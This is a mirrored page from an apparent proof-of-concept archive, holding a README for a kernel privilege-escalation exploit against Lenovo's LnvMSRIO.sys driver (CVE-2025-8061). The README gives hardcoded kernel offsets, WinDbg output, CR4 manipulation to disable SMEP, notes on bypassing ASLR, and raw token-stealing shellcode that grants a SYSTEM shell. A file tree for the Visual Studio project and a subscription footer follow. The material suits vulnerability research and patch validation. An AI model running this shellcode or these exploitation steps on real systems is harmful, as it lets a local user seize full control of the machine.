Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-8061 PoC — Lenovo Dispatcher 安全漏洞

Source
Associated Vulnerability
Title:Lenovo Dispatcher 安全漏洞 (CVE-2025-8061)
Description:A potential insufficient access control vulnerability was reported in the Lenovo Dispatcher 3.0 and Dispatcher 3.1 drivers used by some Lenovo consumer notebooks that could allow an authenticated local user to execute code with elevated privileges. The Lenovo Dispatcher 3.2 driver is not affected. This vulnerability does not affect systems when the Windows feature Core Isolation Memory Integrity is enabled. Lenovo systems preloaded with Windows 11 have this feature enabled by default.
Description
PoC for popping a system shell against the LnvMSRIO.sys driver
Readme
![System shell.](lenovo-sys.png)


# Lenovo-CVE-2025-8061
PoC for popping a system shell against the LnvMSRIO.sys (3.1.0.36) driver.
 All credits go to the original author [Luis Casvella from Quarkslab](https://blog.quarkslab.com/exploiting-lenovo-driver-cve-2025-8061.html).
 This works against latest Windows 11 Version 24H2 (with KVAShadowing and Core Isolation disabled!)

> [!NOTE]
> This was compiled using latest Visual Studio 22.

## Useful notes for exploitation

> [!CAUTION]
> The offsets for this exploit are hardcoded for Windows version: Edition build lab: 26100.1.amd64fre.ge_release.240331-1435.
> As such you *need* to modify/debug your system since they will be different than the ones I've used for this.

The `KiSystemCall64` offset was obviously different to the author's one:

`#define FUNCTION_OFFSET__KISYSTEMCALL64     0x6b2b40  // nt!KiSystemCall64 offset`

```
0: kd> rdmsr c0000082
msr[c0000082] = fffff801`e76b2b40
0: kd> ? fffff801`e76b2b40 - nt
Evaluate expression: 7023424 = 00000000`006b2b40
```

## Disabling SMEP

The current value of the `cr4` register for my system was `0x00350EF8`
As such in order to disable SMEP you need the bit 20 *cleared*:

```
0x350ef8 = 0011 0101 0000 1110 1111 1000
Bit 20 (SMEP) = 1 (enabled)
```

So to find out the correct value:
`0x350ef8 & ~0x100000 = 0x250ef8`

Verify Your System's CR4
First check what CR4 value your system should have:
```r cr4
? cr4 & 0x100000   ; Check if bit 20 is set
```

Very important in the return to user mode shellcoding section make sure you restore it to its *original* value!

## ASLR Bypass.

Using a different machine:

```
6: kd> r cr4
cr4=0000000000370678
6: kd> rdmsr C0000082
msr[c0000082] = fffff803`88d7a200
6: kd> u fffff803`88d7a200
nt!KiSystemCall64Shadow:
fffff803`88d7a200 0f01f8          swapgs
fffff803`88d7a203 654889242510b00000 mov   qword ptr gs:[0B010h],rsp
fffff803`88d7a20c 65488b242500b00000 mov   rsp,qword ptr gs:[0B000h]
--snip--
6: kd> ? fffff803`88d7a200 - nt
Evaluate expression: 12034560 = 00000000`00b7a200
```
As you can see these are all different and technically there's no ASLR bypass here (meh)..
Techniques to research:

```
1. Signature Scanning 
Once you have KiSystemCall64Shadow address from LSTAR, scan backwards or forwards for known byte patterns that are stable across versions. For example:

// KiSystemCall64Shadow always starts with: swapgs (0f 01 f8)
// Verify you have the right address
if (memcmp(leaked_address, "\x0f\x01\xf8", 3) != 0) {
    // Invalid - adjust offset
}

// Then scan for other gadgets relative to this known point
// For example, find "pop rcx; ret" pattern: 59 c3

2. Use Known Offsets Between Functions
Some offsets between kernel functions are more stable. Once you have KiSystemCall64Shadow:

// KiSystemCall64 is usually nearby (a few KB away)
// Scan the region for the standard KiSystemCall64 prologue
// Search for: 0f 01 f8 65 48 89 24 25 (swapgs + mov gs:[...], rsp)
```

## Token stealing shellcode.
Since again am using a different version I had to slightly modify that shellcode:

```
    unsigned char tokenSteal[] = {
        0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,  // mov rax, gs:[0x188]
        0x48, 0x8B, 0x80, 0x20, 0x02, 0x00, 0x00,              // mov rax, [rax+0x220] <- Changed from 0xb8
        0x49, 0x89, 0xC0,                                       // mov r8, rax
        0x4D, 0x8B, 0x80, 0xD8, 0x01, 0x00, 0x00,              // mov r8, [r8+0x1d8]
        0x49, 0x81, 0xE8, 0xD8, 0x01, 0x00, 0x00,              // sub r8, 0x1d8
        0x4D, 0x8B, 0x88, 0xD0, 0x01, 0x00, 0x00,              // mov r9, [r8+0x1d0]
        0x49, 0x83, 0xF9, 0x04,                                 // cmp r9, 4
        0x75, 0xE5,                                             // jne (loop back)
        0x49, 0x8B, 0x88, 0x48, 0x02, 0x00, 0x00,              // mov rcx, [r8+0x248]
        0x80, 0xE1, 0xF0,                                       // and cl, 0xf0
        0x48, 0x89, 0x88, 0x48, 0x02, 0x00, 0x00               // mov [rax+0x248], rcx
    };
```

For these you need to check the following structures and adjust:
```
0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB
0: kd> dt nt!_EPROCESS ActiveProcessLinks
   +0x1d8 ActiveProcessLinks : _LIST_ENTRY
0: kd> dt nt!_EPROCESS UniqueProcessId 
   +0x1d0 UniqueProcessId : Ptr64 Void
0: kd> dt nt!_EPROCESS Token
   +0x248 Token : _EX_FAST_REF
0: kd> dt nt!_KTHREAD Process
   +0x220 Process : Ptr64 _KPROCESS
0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB
0: kd> dt nt!_KPRCB CurrentThread
   +0x008 CurrentThread : Ptr64 _KTHREAD
```

## swapgs syscall

Right before executing the `swapgs` it's very important that `rcx` points back to the main so execution can continue.
Failing to do that it will make your VM freeze!

![Executing the swapgs instruction.](swapgs.png)

## rdmsr c0000082 address

Make *sure* you also restore this value to its original one. Failing to do that will also freeze the VM once again :)

## TODO

- [ ] Find more generic ways to obtain the gadgets using the MSR LSTAR arbitrary read!
- [ ] As per comment on twitter, find out how to use the low stub method to read CR3 register. And then we can convert VA to PA.
File Snapshot

[4.0K] /data/pocs/2f3a79d2a1911c680a5bc75b81f6a5eeefeb242a ├── [4.0K] lenovopoc │   ├── [ 13] Header.h │   ├── [ 12K] lenovopoc.cpp │   ├── [6.4K] lenovopoc.vcxproj │   ├── [1.2K] lenovopoc.vcxproj.filters │   ├── [ 165] lenovopoc.vcxproj.user │   ├── [1.2K] PrepareStack.asm │   └── [4.0K] x64 │   └── [4.0K] Debug │   ├── [1.3K] lenovopoc.Build.CppClean.log │   ├── [ 293] lenovopoc.exe.recipe │   ├── [711K] lenovopoc.ilk │   ├── [ 136] lenovopoc.log │   ├── [ 82K] lenovopoc.obj │   ├── [4.0K] lenovopoc.tlog │   │   ├── [ 766] CL.command.1.tlog │   │   ├── [ 132] Cl.items.tlog │   │   ├── [ 26K] CL.read.1.tlog │   │   ├── [ 544] CL.write.1.tlog │   │   ├── [ 164] lenovopoc.lastbuildstate │   │   ├── [1.5K] link.command.1.tlog │   │   ├── [3.6K] link.read.1.tlog │   │   ├── [ 217] link.secondary.1.tlog │   │   ├── [ 544] link.write.1.tlog │   │   ├── [ 134] Masm.read.1u.tlog │   │   └── [ 284] Masm.write.1u.tlog │   ├── [ 0] lenovopoc.vcxproj.FileListAbsolute.txt │   ├── [1.3K] PrepareStack.obj │   ├── [235K] vc143.idb │   └── [156K] vc143.pdb ├── [1.4K] lenovopoc.sln ├── [212K] lenovo-sys.png ├── [7.1K] README.md └── [659K] swapgs.png 5 directories, 30 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →